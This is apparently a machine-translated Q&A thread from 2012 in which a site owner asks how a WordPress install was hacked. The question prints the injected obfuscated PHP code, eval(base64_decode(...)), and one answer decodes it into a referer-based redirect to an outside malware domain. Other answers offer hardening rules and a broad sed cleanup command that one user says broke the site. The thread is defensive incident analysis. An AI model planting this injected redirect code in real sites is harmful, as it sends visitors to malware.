【问题标题】:WordPress Website Comprimised HackWordPress 网站受损黑客
【发布时间】:2012-02-07 12:56:52
【问题描述】:

我们为客户运行的一个 WordPress 网站已被入侵,并试图确定他们是如何进入的。似乎他们已将代码注入到每个 WP 核心文件、所有主题文件和只有少数选定的插件文件中。

他们使用的代码是:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));

以前有人见过或听说过这个吗?有没有人知道这可能是如何发生的?所有 WP 文件权限均设置为推荐级​​别。

感谢您的宝贵时间。

【问题讨论】:

  • 我只知道 Anonymous 上周声称他们在 3.2.1 版本中发现了一个漏洞......所以如果 3.2.1 是您正在使用的版本,您可能想要更新到当前版本(3.3.1)...
  • 黑客尝试发生时我正在运行 3.3.1。

标签: php wordpress


【解决方案1】:

我见过发生这种情况的最常见方式是人们将所有文件和文件夹设置为 777。如果您必须为 wp-content/uploads 文件夹执行此操作,请确保您有 .htaccess 指令防止在那里执行脚本。您的文件和文件夹应具有运行所需的最低权限(文件 644、文件夹 755)。

【讨论】:

  • 它破坏了编辑器功能太糟糕了,但我同意这是防止被黑客入侵的唯一方法。
  • 我还要指出这不是服务器上唯一的站点,因为它是一个 1&1 共享主机帐户,整个主机帐户中的每个 php 文件都已被此代码“感染”。跨度>
【解决方案2】:

您还必须仔细阅读这些 WP 链接中的所有说明,以彻底清理您的安装并防止代码注入 WP 核心或模板文件:请参阅 FAQ: My site was hacked « WordPress CodexHow to completely clean your hacked wordpress installationHow to find a backdoor in a hacked WordPressHardening WordPress « WordPress Codex.告诉您的主机并更改所有密码。也可能更换主机;一些共享主机比其他主机更容易受到攻击。

这并不总是有帮助,因为它取决于整体服务器和 Web 主机参数,在廉价的共享主机上可能会使它们容易受到攻击,但您可以尝试这些来保护 .htaccess 和 wp-config.php:

<Files .htaccess>
order deny,allow
deny from all
</Files>

<Files wp-config.php>
order allow,deny
deny from all
</Files>

在 .htaccess 中。

【讨论】:

    【解决方案3】:

    前几天我遇到了这个问题,发现sed 在清理垃圾方面非常有用。它会附加到每个 PHP 开头的标签上,并且通常会在行尾留下代码,因此需要进行一些仔细的配置。

    我相信这是我使用的命令,但要小心,毕竟这是sed ;-)...

    find . -name "*.php" -type f -exec sed -i 's/eval(.*));//' {} \;
    

    【讨论】:

    • 我已经尝试过了,它删除了代码,但破坏了我的 WP 安装的其余部分:( T_ELSE 和 SWITCH 上出现解析错误
    • 嗨。可以使正则表达式更具体,以便它只针对正确的字符串 - 也许再试一次,在第一个括号后面插入一个“base64”?
    【解决方案4】:

    那么,下面的代码会将您的用户重定向到列入黑名单的恶意软件站点吗?这就是你正在经历的吗?

    error_reporting(0);
    $qazplm=headers_sent();
    if (!$qazplm){
        $referer=$_SERVER['HTTP_REFERER'];
        $uag=$_SERVER['HTTP_USER_AGENT'];
        if ($uag) {
            if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
                if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
                header("Location: http://costabrava.bee.pl/");
                exit();
                }
            }
        }
    }
    

    您的 Wordpress 版本可能容易受到 XSS 攻击。这个链接讨论它。 http://www.ethicalhack3r.co.uk/security/wordpress-3-3-cross-site-scripting-xss/

    你是哪个版本的?

    【讨论】:

    • 这是 3.3.1。共享主机帐户上的所有其他站点也受到了损害,包括 Magento 安装。这将是一个有趣的下午!
    【解决方案5】:

    我遇到了完全相同的问题。

    我猜该网站是通过小部件感染的,因为我使用了一个允许执行 PHP 代码的插件。

    我最好的解决方案是:

    • 消除可疑小部件。
    • 查看一个受感染文件的时间和日期(我的案例:header.php)。
    • 清除所有受感染的文件(在我的情况下,我有网站的备份)。
    • 在日志文件中搜索当时的可疑 IP(搜索找到 列入黑名单的 IP)。
    • 安装一个插件来禁止可疑 IP。

    从那一刻起问题就消失了。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2015-12-06
      • 1970-01-01
      • 1970-01-01
      • 2018-09-26
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多